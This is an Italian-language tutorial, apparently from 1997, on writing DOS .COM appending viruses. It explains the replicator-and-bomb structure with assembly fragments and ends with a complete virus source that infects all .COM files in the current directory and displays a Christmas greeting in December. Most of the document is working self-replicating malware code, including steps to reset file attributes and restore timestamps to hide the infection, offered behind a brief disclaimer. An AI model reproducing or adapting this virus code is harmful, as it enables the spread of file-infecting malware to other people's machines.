Questa volta parleremo dei virus, quei simpatici programmini che ti ritrovi per caso sul tuo Hard Disk e che mandano in crisi il tuo PC. Ora, tutto quello che spigherò in questo tutorial non deve essere usato per scrivere nuovi e più potenti virus ma solo per imparare l'arte della programmazione in Assembler e anche per imparare a proteggersi da questo genere di attacchi. Quindi non mi ritengo responsabile degli eventuali danni che apporterete al vostro computer o a quello dei vostri amici. Stateci attenti. Vedremo solo virus in grado di infettare i file .COM anche se oggi non se ne trovano più tanti (di file COM!), in particolare tratterò gli appending viruses, cioè quelli che si agganciano alla fine del file senza distruggerlo. Un virus è composto principalmente da due parti : il replicatore e la cosiddetta "bomb". Il replicatore è quella parte del programma virus che permette a quest'ultimo di replicarsi in modo da infettare quanti più file possibile, la bomb è la parte più divertente ed è quella che svolge l'operazione per cui e stato designato il virus questa va dalla semplice visualizzazione di un messaggio alla distruzione della FAT area, dipende solo dalla fantasia del programmatore. IL REPLICATORE Il compito del replicatore come abbiamo già detto è quello di duplicarsi infettando altri files. Come si può fare? Consideriamo un pgm (.COM) esso pu� essere scomposto in 2 parti: +---+-----------+ |P1 | P2 | vittima.com +---+-----------+ Anche il virus essendo un pgm può essere cosi diviso: +---+---------+ |V1 | V2 | virus.com +---+---------+ I passi che il virus deve eseguire per replicarsi sono i seguenti: 1.Il virus salva P1 in fondo al file vittima.com e al suo posto ci copia V1, avremo la seguente situazione: +---+------------+---+ |V1 | P2 |P1 | +---+------------+---+ 2.Ora il virus copia la seconda parte (V2) in fondo al file: +---+-------------+---+---------+ |V1 | P2 |P1 | V2 | +---+-------------+---+---------+ Vi starete chiedendo che ca.. c'è dentro V1 e V2. Il compito di V1 è quello di passare il controllo a V2 e consiste in un salto, così quando eseguo il programma infetto la prima cosa che si fa è saltare al codice del virus contenuta in V2. Una volta eseguito V2 il controllo torna al programma. Semplice vero? Beh non proprio. Vediamo meglio quali sono i passi che deve svolgere il replicatore per infettare un file: 1.Cerca il file da infettare 2.Controlla se è già infetto 3.Se si torna a 1 4.Infettalo!! 5.Torna a 1 oppure esci se na hai abbastanza Vediamole nel dettaglio: PASSO 1 - Cerco il file da infettare Si può decidere se cercare i file solo nella directory corrente oppure cambiare dir. per avere più possibilità di diffondersi. Cercare in piu' directory può rallentare l'esecuzione del programma al quale è attaccato e può quindi sollevare sospetti nell'utente, quindi state attenti. Per cercare un file devo ricorrere al DTA (Disk Transfer Area) che è una struttura del DOS (Andatela a vedere in qualche Tech. Ref.), il codice può essere una cosa del tipo: mov ah,1Ah ;Prende il DTA e lo mette in lea dx,[bp+OFFSET DTA] ;una variabile di nome DTA (!!) int 21h mov ah,4Eh ;cerca il primo file mov cx,0007h ;Qualsiasi attributo lea dx,[bp+OFFSET file_mask];DS:[DX] --> file_mask int 21h jc non_trovato ;non l'ha trovato ancora: call controlla_infezione ;guarda se è gia infetto e se non lo ;è lo infetta mov ah,4Fh ;cerca il prox int 21h jnc ancora non_trovato: In questo frammento file_mask pu� essere '*.*' '*.EXE' o come useremo noi '*.COM'. PASSO 2 - Controlla se è già infetto Un metodo abbastanza semplice per sapere se un file è già infetto o meno è di memorizzare un ID durante l'infezione in modo da poterlo trovare la volta successiva. Ad esempio: mov ah,3Fh ;legge i primi 4 byte del file mov cx,4 ;e li mette in buffer lea dx,[bp+OFFSET buffer] int 21h cmp byte ptr [buffe+3],ID_Byte; controllo il 4 byte je gia_fatto ;se sono uguali è già infetto infettalo:.... Un altro modo più complesso è quello di cerca una serie di istruzioni caratteristiche del virus. PASSO 3 - Infettalo!!! Questa è la parte piu' difficile e importante: il cuore del replicatore. Una volta trovato il file da infettare si devono salvare i suoi attributi, la data, l'ora e la dimensione. Questi dati si trovano nel DTA come spiegato nella: tabella seguente: Offset Dimensione Significato ------------------------------------------- 0h 21 bytes Riservati (?) 15h byte Attributi del file 16h word ora 18h word data 20h dword dimensione 1Eh 13bytes nome(ASCIIZ) + estensione Come vedete nel DTA si trovano tutte le info necessarie, e per salvarle basta: lea si,[bp+OFFSET DTA+15] mov cx,9 lea di,[bp+OFFSET f_attr] rep movsb ;varibili: f_attr db ? f_time dw ? f_date dw ? f_size dd ? Per poter infettare i file di systema, quelli nascosti ecc... dovete resettare gli attributi tramite l'int 21h,43h,01h. Una volta fatto ciò potete aprire il file in lettura/scrittura ed effettuare l'infezione. Dopo aver infettato il file ( e lo vedremo nel dettaglio con un esempio) è importante cancellare le tracce dell'infezione ripristinando la data e l'ora e reimpostando gli attributi originali: mov ax,57,01h mov dx,WORD PTR [bp+f_date] mov cx,WORD PTR [bp+f_time] int 21h ;ripristina data e ora mov ah,4301h lea dx,[bp+OFFSET DTA + 1Eh] xor ch,ch mov cl,BYTE PTR [bp+f_attrib] int 21h ;ripristina gli attributi Al solito per capire meglio il tutto vi presento un semplice virus.
;virus.asm - b0nu$, 1997 ;NB - Non mi assumo responsabilità sui danni causati da un uso incorretto di ;questo pgm. ; ;Si attiva solo nel mese di Dicembre e visualizza gli auguri di Natale code segment byte public assume cs:code,ds:code,es:code,ss:code org 100h ;file .COM start: db 0E9h,0,0 ;Salta al prox comando virus: call inizio ;Salva l'indirizzo nello stack inizio: pop bp ;Setta BP sub bp,offset inizio lea si,[bp+offset oldjump] ;Indirizzo vecchio mov di,100h ;Salvo dove metterlo push di ;cosi possiamo ritornare movsb movsb movsb lea dx,[bp+offset dta] ;Indirizzo del nuovo DTA mov ah,1ah ;setta il DTA!! int 21h lea dx,[bp+offset comfilespec] call findfirst ;cerca e infetta i file .com call get_month ;Controlla in che mese siamo cmp ax,000Ch ;E' 12? jne skip ;Se no salta gli auguri jmp short strt ;Si � Dicembre ! skip: jmp dend ;Salta la routine strt: lea si,[bp + testo] ;SI punta al testo da scrivere mov ah,0Eh ;Uso l'int 10h,0Eh per stampare disp: lodsb ;Carico il carattere or al,al ;Se � 0 � finita je dend int 010h ;visualizzo il car jmp short disp ;prendo il prox carattere dend: mov dx,80h ;Indirizzo del DTA originale ;Lo rimetto dov'era mov ah,1ah ;setta il DTA!! int 21h retn ;Ritorno al pgm findfirst: mov ah,4eh ;trova il primo file mov cx,7 ;con questi attributi findnext: int 21h ;Trovo il prox jc quit ;Se non trovo niente smetto call infection ;Altrimenti infetto Findnext2: mov ah,4fh ;Cerco il prox jmp findnext ;Ciclo quit: ret ;stop! infection: mov ax,3d00h ;Apro il file in lettura call open mov cx,1ah lea dx,[bp+offset buffer] ;salvo i dati mov ah,3fh ;Leggo int 21h mov ah,3eh ;chiudo il file int 21h CheckCom: mov bx,[bp+offset dta+1ah] ;Prelevo la dimensione mov cx,word ptr [bp+buffer+1] ;prelevo l'indirizzo del salto add cx,eof-virus+3 ;e ci sommo la lunghezza del ;virus cmp bx,cx ;controllo dimensione jz quitinfect jmp infectcom quitinfect: ret InfectCom: sub bx,3 ;setto per il nuovo salto lea di,[bp+oldjump] lea si,[bp+buffer] movsw movsb mov [bp+buffer],byte ptr 0e9h mov word ptr [bp+buffer+1],bx ;salvo mov cx,3 ;numero di byte da scrivere jmp finishinfection FinishInfection: push cx ;salvo il numero di byte ;da scrivere xor cx,cx ;azzero attributi call attributes mov al,2 ;apro il file in lett/scritt call open lea dx,[bp+buffer] ;dx punta ai dati pop cx ;cx=numero byte mov ah,40h ;scrivo int 21h jc closefile mov al,02 ;sposto il puntatore in fondo Call move_fp mov cx,eof-virus ;dimensione virus lea dx,[bp+offset virus] ;indirizzo di inizio mov ah,40h ;scrivo il virus int 21h closefile: mov ax,5701h ;ripristina ora e data mov dx,word ptr [bp+dta+18h] mov cx,word ptr [bp+dta+16h] ;sono ne DTA!! int 21h mov ah,3eh ;chiudo il file int 21h xor cx,cx mov cl,byte ptr [bp+dta+15h] ;Prendo i vecchi attrib. call attributes retn move_fp: ;muove il puntatore xor cx,cx ;del file ad al xor dx,dx ; mov ah,42h int 21h retn open: lea dx,[bp+DTA+30] ;il nome � nel DTA mov ah,3dh ;apre il file int 21h xchg ax,bx ;bx contine l'handle ret attributes: lea dx,[bp+DTA+30] mov ax,4301h ; setta gli attrib. int 21h ret get_month proc near mov ah,02Ah ;Preleva la data int 021h mov al,dh ;al=mese cbw ;estende ad ax ret get_month endp testo db 13,10,13,10,"Boun Natale a tutti !!!",13,10,0 comfilespec db '*.com',0 ;file da cercare oldjump db 090h,0CDh,020h ;Vecchio jump eof equ $ ;Segna la fine del file buffer db 1Ah dup(?) dta db 42 dup(?) code ends end start Il programma mi sembra già abbastanza commentato quindi non spenderò altro tempo per rispiegarvi cose già dette. Vi prego ancora una volta di stare attenti a giocare con questi pgm.